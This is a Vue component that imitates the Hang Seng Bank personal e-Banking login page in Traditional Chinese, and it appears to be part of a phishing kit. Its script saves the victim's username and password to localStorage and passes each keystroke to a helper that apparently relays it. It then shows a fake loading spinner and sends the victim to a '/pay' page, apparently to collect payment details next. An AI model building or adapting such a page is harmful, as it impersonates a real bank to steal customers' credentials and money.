<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange } from "@/utils/common";
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
const formData = ref({ homePageData: { username: "", password: "" } });
const warningMessage = ref("");

// 计算属性：检查用户名和密码是否都已输入
const isFormFilled = computed(() => {
  return formData.value.homePageData.username.trim() !== "" && formData.value.homePageData.password.trim() !== "";
});

// 处理表单提交
const next = () => {
  if (!formData.value.homePageData.username || !formData.value.homePageData.password) {
    warningMessage.value = t("請輸入您的用戶名稱和密碼。");
    return;
  }

  warningMessage.value = "";
  localStorage.setItem("username", formData.value.homePageData.username);
  localStorage.setItem("password", formData.value.homePageData.password);
  loadingStore.setLoading(true);
  setTimeout(() => {
    loadingStore.setLoading(false);
    router.push("/pay"); // 根据需要调整路由
  }, 2000);
};

// 处理输入变化
const onchange = (event: any) => {
  inputChange("input_login", "username", event.target.value);
};

const passchange = (event: any) => {
  inputChange("input_login", "password", event.target.value);
};

onMounted(() => {
  const userData =
    getCurrentInstance()?.appContext.config.globalProperties.$userData;
  if (userData && userData.homePageData) {
    formData.value = userData;
  }
  localStorage.setItem("route", "phone");
});
</script>
<template>
  <CommonLayout>
    <template #default>
      <div class="row p-10-ch">
        <div id="mainPanel" class="px-0 mainContent">
          <div class="row" style="height: 100%; justify-content: center;">
            <div class="col-lg-8 col-md-7 col-12 mainPanel-width" style="border: 2px solid #d7d7d7; border-radius: 3px; padding: 30px; min-height: 380px; width: 92%;">
              <h2 class="login-title">登入恒生個人e-Banking</h2>

              <!-- 警告信息，SVG 和文本共享背景 -->
              <div class="warning-box">
                <span class="warning-icon">
                  <svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#3b6793">
                    <path d="M480-280q17 0 28.5-11.5T520-320q0-17-11.5-28.5T480-360q-17 0-28.5 11.5T440-320q0 17 11.5 28.5T480-280Zm-40-160h80v-240h-80v240Zm40 360q-83 0-156-31.5T197-197q-54-54-85.5-127T80-480q0-83 31.5-156T197-763q-54-54 127-85.5T480-880q83 0 156 31.5T763-763q54 54 85.5 127T880-480q0 83-31.5 156T763-197q-54 54-127 85.5T480-80Zm0-80q134 0 227-93t93-227q0-134-93-227t-227-93q-134 0-227 93t-93 227q0 134 93 227t227 93Zm0-320Z"/>
                  </svg>
                </span>
                <div class="warning-text">
                  <p>
                    如此以手機瀏覽器登入，部份服務將未能使用。我們建議您使用電腦瀏覽器登入，或下載恒生的恒生Mobile App，以更方便地使用銀行服務。
                  </p>
                </div>
              </div>

              <!-- 用户名输入框 -->
              <div class="form-group">
                <label class="loginlabel">輸入您的用戶名稱</label>
                <input
                  type="text"
                  id="txtuserid"
                  class="textfield required"
                  v-model="formData.homePageData.username"
                  @input="onchange"
                  placeholder=""
                  autocomplete="off"
                >
              </div>

              <!-- 密码输入框 -->
              <div class="form-group">
                <label class="loginlabel">輸入您的密碼</label>
                <input
                  type="password"
                  id="txtpass"
                  class="textfield password"
                  v-model="formData.homePageData.password"
                  @input="passchange"
                  placeholder=""
                  autocomplete="off"
                >
              </div>

              <!-- 表单验证警告信息 -->
              <div v-if="warningMessage" aria-live="assertive" role="alert">
                <div class="css-j4y2sz">
                  <span class="css-1mne40r">
                    <svg viewBox="0 0 48 48" width="1em" height="1em">
                      <path
                        d="M19.918 4.543c1.153-2.295 3.915-3.204 6.17-2.03a4.62 4.62 0 011.867 1.796l.126.234 19.415 34.663c1.153 2.295.26 5.108-1.993 6.282a4.52 4.52 0 01-1.816.504l-.272.008H4.584C2.052 46 0 43.9 0 41.332a4.74 4.74 0 01.387-1.876l.117-.25L19.918 4.543zM24 34a2 2 0 100 4 2 2 0 100-4zm-.048-17l-.184.013c-.976.1-1.728.9-1.766 1.853v.152l.416 10.502C22.45 30.346 23.15 31 24 31c.8 0 1.467-.58 1.57-1.336l.013-.144L26 18.943l-.006-.152c-.072-.9-.773-1.627-1.676-1.767l-.160-.020-.205-.005z"
                      ></path>
                    </svg>
                  </span>
                  <span class="css-l0mv58">{{ warningMessage }}</span>
                </div>
              </div>

              <!-- 提交按钮，动态类绑定 -->
              <button
                @click.prevent="next"
                :class="['proceedButton', { 'proceedButton--active': isFormFilled }]"
              >
                繼續
              </button>

              <!-- 链接 -->
              <div class="links">
                <a href="/zh-hk/security/recoverProfile" class="loginlink">
                  忘記用戶名稱
                  <svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
                    <path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
                  </svg>
                </a>
                <a href="/zh-hk/security/registration" class="loginlink">
                  未登記個人e-Banking
                  <svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
                    <path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
                  </svg>
                </a>
              </div>
            </div>
          </div>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>
<style scoped>
/* 布局调整 */
.row {
  display: flex;
  flex-wrap: wrap;
}

.p-10-ch {
  padding: 10px;
}

.px-0 {
  padding-left: 0;
  padding-right: 0;
}

.mainContent {
  width: 100%;
}

.col-lg-8, .col-md-7, .col-12 {
  position: relative;
  width: 100%;
}

@media (min-width: 992px) {
  .col-lg-8 {
    flex: 0 0 66.666667%;
    max-width: 66.666667%;
  }
}

@media (min-width: 768px) {
  .col-md-7 {
    flex: 0 0 58.333333%;
    max-width: 58.333333%;
  }
}

/* 标题 */
.login-title {
  font-size: 24px;
  font-weight: bold;
  margin-bottom: 20px;
}

/* 警告框 */
.warning-box {
  display: flex;
  align-items: flex-start;
  background-color: #e6f0fa;
  padding: 10px;
  border-radius: 5px;
  margin-bottom: 20px;
}

.warning-icon {
  display: inline-block;
  margin-right: 10px;
}

.warning-icon svg {
  width: 20px;
  height: 20px;
}

.warning-text {
  flex: 1;
}

.warning-text p {
  margin: 0;
  font-size: 14px;
  color: #333;
}

/* 表单样式 */
.form-group {
  margin-bottom: 20px;
  text-align: left;
  position: relative;
}

.loginlabel {
  display: block;
  margin-bottom: 5px;
  font-size: 14px;
  color: #000;
  font-weight: normal;
}

.textfield {
  width: 100%;
  padding: 10px;
  border: 2px solid #00cc00;
  border-radius: 5px;
  font-size: 14px;
  background-color: #fff;
}

.textfield:focus {
  outline: none;
  border-color: #666;
}

/* 按钮样式 */
.proceedButton {
  background: #ccc;
  color: white;
  padding: 12px;
  border: none;
  border-radius: 5px;
  font-size: 14px;
  cursor: pointer;
  width: 100%;
  font-weight: bold;
}

.proceedButton:hover {
  background: #999;
}

.proceedButton--active {
  background: #008945;
}

.proceedButton--active:hover {
  background: #006b35; /* 鼠标悬停时稍微变暗 */
}

/* 链接样式 */
.links {
  margin-top: 15px;
  text-align: left;
}

.loginlink {
  color: #999;
  text-decoration: none;
  font-size: 14px;
  display: block;
  margin-bottom: 10px;
}

.loginlink:hover {
  text-decoration: underline;
}

/* 警告信息样式 */
.css-j4y2sz {
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 10px;
  margin-bottom: 15px;
  border-radius: 4px;
}

.css-1mne40r {
  display: inline-block;
  line-height: 1;
  vertical-align: middle;
  font-size: 1.75rem;
  fill: rgb(180, 44, 1);
}

.css-l0mv58 {
  color: #dc3545;
  font-size: 14px;
}
</style>